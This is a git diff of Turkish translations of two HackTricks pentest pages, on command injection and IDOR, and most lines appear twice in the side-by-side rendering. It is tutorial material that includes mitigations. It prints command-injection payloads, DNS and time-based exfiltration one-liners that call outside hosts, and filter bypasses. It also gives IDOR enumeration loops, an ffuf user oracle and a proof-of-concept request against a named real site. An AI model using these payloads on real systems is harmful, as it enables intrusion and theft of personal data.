?exec={payload} ?exec={payload}
@ -74,9 +75,9 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
?run={payload} ?run={payload}
?print={payload} ?print={payload}
``` ```
### Zaman Tabanlı Veri Sızdırma ### Time based data exfiltration
Veri Çıkartma: karakter karakter Veri çıkarma: char by char
``` ```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s real 0m5.007s
@ -88,9 +89,9 @@ real 0m0.002s
user 0m0.000s user 0m0.000s
sys 0m0.000s sys 0m0.000s
``` ```
### DNS tabanlı veri sızdırma ### DNS based data exfiltration
`https://github.com/HoLyVieR/dnsbin` adresindeki araç temel alınarak, ayrıca dnsbin.zhack.ca'da barındırılmaktadır. Bu çalışma `https://github.com/HoLyVieR/dnsbin` üzerindeki araca dayanıyor; ayrıca dnsbin.zhack.ca adresinde barındırılıyor.
``` ```
1. Go to http://dnsbin.zhack.ca/ 1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls' 2. Execute a simple 'ls'
@ -100,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
``` ```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
``` ```
DNS tabanlı veri sızdırma kontrolü için çevrimiçi araçlar: DNS tabanlı data exfiltration'ı kontrol etmek için çevrimiçi araçlar:
- dnsbin.zhack.ca - dnsbin.zhack.ca
- pingb.in - pingb.in
### Filtreleme atlatma ### Filtering bypass
#### Windows #### Windows
``` ```
@ -121,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
### Node.js `child_process.exec` vs `execFile` ### Node.js `child_process.exec` vs `execFile`
JavaScript/TypeScript arka uçlarını denetlerken sıklıkla Node.js `child_process` API'si ile karşılaşacaksınız. JavaScript/TypeScript arka uçlarını denetlerken sık sık Node.js `child_process` API'si ile karşılaşırsınız.
```javascript ```javascript
// Vulnerable: user-controlled variables interpolated inside a template string // Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process'); const { exec } = require('child_process');
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */ /* … */
}); });
``` ```
`exec()` bir **shell** (`/bin/sh -c`) başlatır, bu nedenle kullanıcı girişi dizeye eklendiğinde shell için özel bir anlamı olan herhangi bir karakter (back-ticks, `;`, `&&`, `|`, `$()`, …) **komut enjeksiyonu** ile sonuçlanacaktır. `exec()` bir **shell** (`/bin/sh -c`) başlatır, bu nedenle shell için özel bir anlam taşıyan herhangi bir karakter (back-ticks, `;`, `&&`, `|`, `$()`, …) kullanıcı girdisi string içinde birleştirildiğinde **command injection** ile sonuçlanır.
**Azaltma:** `execFile()` (veya `shell` seçeneği olmadan `spawn()`) kullanın ve **her bir argümanı ayrı bir dizi elemanı olarak** sağlayın, böylece hiçbir shell dahil edilmez: **Önlem:** `execFile()` (veya `spawn()` `shell` seçeneği olmadan) kullanın ve **her argümanı ayrı bir dizi öğesi** olarak sağlayın, böylece shell devre dışı kalır:
```javascript ```javascript
const { execFile } = require('child_process'); const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [ execFile('/usr/bin/do-something', [
@ -139,7 +140,7 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload) '--payload', JSON.stringify(payload)
]); ]);
``` ```
Gerçek dünya vakası: *Synology Photos* ≤ 1.7.0-0794, saldırganın kontrolündeki verileri `id_user` içine yerleştiren kimlik doğrulaması yapılmamış bir WebSocket olayı aracılığıyla istismar edilebiliyordu; bu veriler daha sonra bir `exec()` çağrısına gömüldü ve RCE elde edildi (Pwn2Own İrlanda 2024). Gerçek vaka: *Synology Photos* ≤ 1.7.0-0794, kimlik doğrulaması olmayan bir WebSocket olayı aracılığıyla istismar edilebiliyordu; bu olay saldırgan kontrollü veriyi `id_user` içine yerleştiriyor ve daha sonra `exec()` çağrısına gömülüyordu, bu da RCE elde edilmesine yol açtı (Pwn2Own Ireland 2024).
## Brute-Force Tespit Listesi ## Brute-Force Tespit Listesi
@ -148,11 +149,13 @@ Gerçek dünya vakası: *Synology Photos* ≤ 1.7.0-0794, saldırganın kontrol
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}} {{#endref}}
## Referanslar ## Kaynaklar
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) - [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE202346818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -1,21 +1,22 @@
# IDOR (Güvensiz Doğrudan Nesne Referansı) # IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
IDOR (Güvensiz Doğrudan Nesne Referansı) / Bozuk Nesne Seviyesi Yetkilendirme (BOLA), bir web veya API uç noktasının, **doğrudan** erişim sağlamak için kullanılan ve kullanıcı tarafından kontrol edilebilen bir tanımlayıcıyı ifşa etmesi veya kabul etmesi durumunda ortaya çıkar; **çağrının bu nesneye erişim/değişiklik yapma yetkisini doğrulamadan**. Başarılı bir istismar genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi yatay veya dikey ayrıcalık yükseltmelerine izin verir ve en kötü durumda, tam hesap ele geçirme veya kitlesel veri sızdırma ile sonuçlanabilir. IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA), bir web veya API uç noktasının, bir kullanıcının kontrol edebildiği bir tanımlayıcıyı **doğrudan** iç nesneye erişmek için ifşa ettiği veya kabul ettiği ve çağıranın o nesneye erişmeye/ürünü değiştirmeye yetkili olup olmadığını **doğrulamadan** kullanıldığı durumlarda ortaya çıkar.
Başarılı sömürü genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi horizontal or vertical privilege-escalationa izin verir ve en kötü durumda tam hesap devralma veya toplu veri dışarı sızdırma ile sonuçlanabilir.
--- ---
## 1. Potansiyel IDOR'ları Belirleme ## 1. Potansiyel IDOR'ları Belirleme
1. **Bir nesneyi referans alan parametreleri** arayın: 1. Bir nesneyi referans gösteren **parametrelere** bakın:
* Yol: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Sorgu: `?id=42`, `?invoice=2024-00001` * Query: `?id=42`, `?invoice=2024-00001`
* Gövde / JSON: `{"user_id": 321, "order_id": 987}` * Body / JSON: `{"user_id": 321, "order_id": 987}`
* Başlıklar / Çerezler: `X-Client-ID: 4711` * Headers / Cookies: `X-Client-ID: 4711`
2. **Veri okuma veya güncelleme** yapan uç noktaları tercih edin (`GET`, `PUT`, `PATCH`, `DELETE`). 2. Veri **okuyan veya güncelleyen** (`GET`, `PUT`, `PATCH`, `DELETE`) uç noktalarını tercih edin.
3. Tanımlayıcıların **sıralı veya tahmin edilebilir** olduğuna dikkat edin eğer ID'niz `64185742` ise, o zaman `64185741` muhtemelen vardır. 3. Tanımlayıcıların **ardışık veya tahmin edilebilir** olup olmadığına dikkat edin ID'niz `64185742` ise muhtemelen `64185741` vardır.
4. Ek API'leri açığa çıkarabilecek gizli veya alternatif akışları keşfedin (örneğin, giriş sayfalarındaki *"Paradox takım üyeleri"* bağlantısı). 4. Ek API'leri açığa çıkarabilecek gizli veya alternatif akışları (ör. giriş sayfalarındaki *"Paradox team members"* bağlantısı) keşfedin.
5. **Kimlik doğrulaması yapılmış düşük ayrıcalıklı bir oturum** kullanın ve yalnızca ID'yi **aynı token/çerez ile değiştirin**. Yetkilendirme hatasının olmaması genellikle IDOR'un bir işareti olarak kabul edilir. 5. Bir **kimlik doğrulanmış düşük ayrıcalıklı oturum** kullanın ve sadece ID'yi değiştirip **aynı token/cookie**'yi tutun. Yetkilendirme hatasının olmaması genellikle IDOR belirtisidir.
### Hızlı manuel müdahale (Burp Repeater) ### Hızlı manuel müdahale (Burp Repeater)
``` ```
@ -26,7 +27,7 @@ Content-Type: application/json
{"lead_id":64185741} {"lead_id":64185741}
``` ```
### Otomatik numaralandırma (Burp Intruder / curl döngüsü) ### Otomatik enumeration (Burp Intruder / curl loop)
```bash ```bash
for id in $(seq 64185742 64185700); do for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
@ -36,48 +37,70 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
done done
``` ```
--- ---
## 2. Gerçek Dünya Vaka Çalışması McHire Chatbot Platformu (2025)
Paradox.ai destekli **McHire** işe alım portalının bir değerlendirmesi sırasında aşağıdaki IDOR keşfedildi: ### Error-response oracle for user/file enumeration
* Uç Nokta: `PUT /api/lead/cem-xhr` Bir download endpoint hem username hem de filename kabul ettiğinde (örn. `/view.php?username=<u>&file=<f>`), hata mesajlarındaki ince farklılıklar sıklıkla bir oracle oluşturur:
* Yetkilendirme: **herhangi** bir restoran test hesabı için kullanıcı oturum çerezi
* Gövde parametresi: `{"lead_id": N}` 8 haneli, **sıralı** sayısal tanımlayıcı
`lead_id` değerini düşürerek, test eden kişi rastgele başvuranların **tam PII** (isim, e-posta, telefon, adres, vardiya tercihleri) bilgilerini ve oturum kaçırmaya izin veren bir tüketici **JWT**'sini elde etti. `1 64,185,742` aralığının sayımı yaklaşık **64 milyon** kaydı ortaya çıkardı. - Var olmayan username → "Kullanıcı bulunamadı"
- Hatalı filename ama geçerli extension → "Dosya mevcut değil" (bazen mevcut dosyaları da listeler)
- Hatalı extension → doğrulama hatası
Kanıt-of-Kavram isteği: Herhangi bir kimliği doğrulanmış oturumda, zararsız bir filename sabit tutarak username parametresini fuzz'layabilir ve geçerli kullanıcıları keşfetmek için "Kullanıcı bulunamadı" dizisini filtreleyebilirsiniz:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
Once valid usernames are identified, request specific files directly (e.g., `/view.php?username=amanda&file=privacy.odt`). Bu desen genellikle diğer kullanıcıların belgelerinin yetkisiz ifşasına ve credential leakage'e yol açar.
---
## 2. Gerçek Dünya Vaka Çalışması McHire Chatbot Platform (2025)
Paradox.ai-powered **McHire** işe alım portalının bir değerlendirmesi sırasında aşağıdaki IDOR tespit edildi:
* Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: user session cookie for **any** restaurant test account
* Body parameter: `{"lead_id": N}` 8 haneli, **sıralı** sayısal tanımlayıcı
lead_id'yi azaltarak test eden, rastgele başvuruların **full PII**'sini (isim, e-posta, telefon, adres, vardiya tercihleri) ve session hijacking'e olanak veren bir tüketici **JWT**'sini elde etti. `1 64,185,742` aralığının taranması yaklaşık **64 milyon** kaydıığa çıkardı.
Proof-of-Concept isteği:
```bash ```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \ -H 'Content-Type: application/json' \
-d '{"lead_id":64185741}' -d '{"lead_id":64185741}'
``` ```
Birleştirildiğinde **varsayılan yönetici kimlik bilgileri** (`123456:123456`) test hesabına erişim sağladı ve bu zafiyet, kritik, şirket genelinde bir veri ihlaline yol açtı. Combined with **varsayılan yönetici kimlik bilgileri** (`123456:123456`) test hesabına erişim verdiği için, bu zafiyet kritik ve şirket genelinde bir veri ihlaline yol açtı.
--- ---
## 3. IDOR / BOLA'nın Etkisi ## 3. Impact of IDOR / BOLA
* Yatay yükselme **diğer kullanıcıların** verilerini okuma/güncelleme/silme. * Yatay yetki yükseltme **diğer kullanıcıların** verilerini oku/güncelle/sil.
* Dikey yükselme düşük yetkili bir kullanıcının yalnızca yöneticiye özel işlevsellik kazanması. * Dikey yetki yükseltme düşük ayrıcalıklı bir kullanıcı yöneticiye özel işlevlere erişim kazanır.
* Tanımlayıcılar ardışık ise kitlesel veri ihlali (örneğin, başvuru kimlikleri, faturalar). * Tanımlayıcılar ardışık ise toplu veri ihlali olabilir (e.g., applicant IDs, invoices).
* Diğer kullanıcıların token'larını çalarak veya şifrelerini sıfırlayarak hesap ele geçirme. * Token çalmak veya diğer kullanıcıların parolalarını sıfırlamak yoluyla hesap ele geçirme.
--- ---
## 4. Önlemler & En İyi Uygulamalar ## 4. Mitigations & Best Practices
1. Her istekte **nesne düzeyinde yetkilendirme** uygulayın (`user_id == session.user`). 1. Her istekte **nesne düzeyinde yetkilendirme** uygulayın (`user_id == session.user`).
2. Otomatik artan kimlikler yerine **dolaylı, tahmin edilemez tanımlayıcılar** (UUIDv4, ULID) tercih edin. 2. Otomatik artan ID'ler yerine **dolaylı, tahmin edilemez tanımlayıcıları** (UUIDv4, ULID) tercih edin.
3. Yetkilendirmeyi **sunucu tarafında** gerçekleştirin, asla gizli form alanlarına veya UI kontrollerine güvenmeyin. 3. Yetkilendirmeyi **sunucu tarafında** gerçekleştirin; gizli form alanlarına veya UI kontrollerine asla güvenmeyin.
4. Merkezi bir ara yazılımda **RBAC / ABAC** kontrolleri uygulayın. 4. Merkezi bir middleware'de **RBAC / ABAC** kontrolleri uygulayın.
5. ID'lerin sayımını tespit etmek için **oran sınırlama ve günlükleme** ekleyin. 5. ID taramasını tespit etmek için **oran sınırlaması ve kayıt tutma** ekleyin.
6. Her yeni uç noktayı güvenlik testi yapın (birim, entegrasyon ve DAST). 6. Her yeni endpoint'i güvenlik testinden geçirin (unit, integration ve DAST).
--- ---
## 5. Araçlar ## 5. Tooling
* **BurpSuite uzantıları**: Authorize, Auto Repeater, Turbo Intruder. * **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse. * **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github projeleri**: `bwapp-idor-scanner`, `Blindy` (toplu IDOR avı). * **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
## Referanslar
* [McHire Chatbot Platform: Varsayılan Kimlik Bilgileri ve IDOR 64M Başvuranın Kişisel Bilgilerini Ortaya Çıkarıyor](https://ian.sh/mcdonalds)
* [OWASP Top 10 Kırık Erişim Kontrolü](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) ## References
* [Daha Fazla IDOR Nasıl Bulunur Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}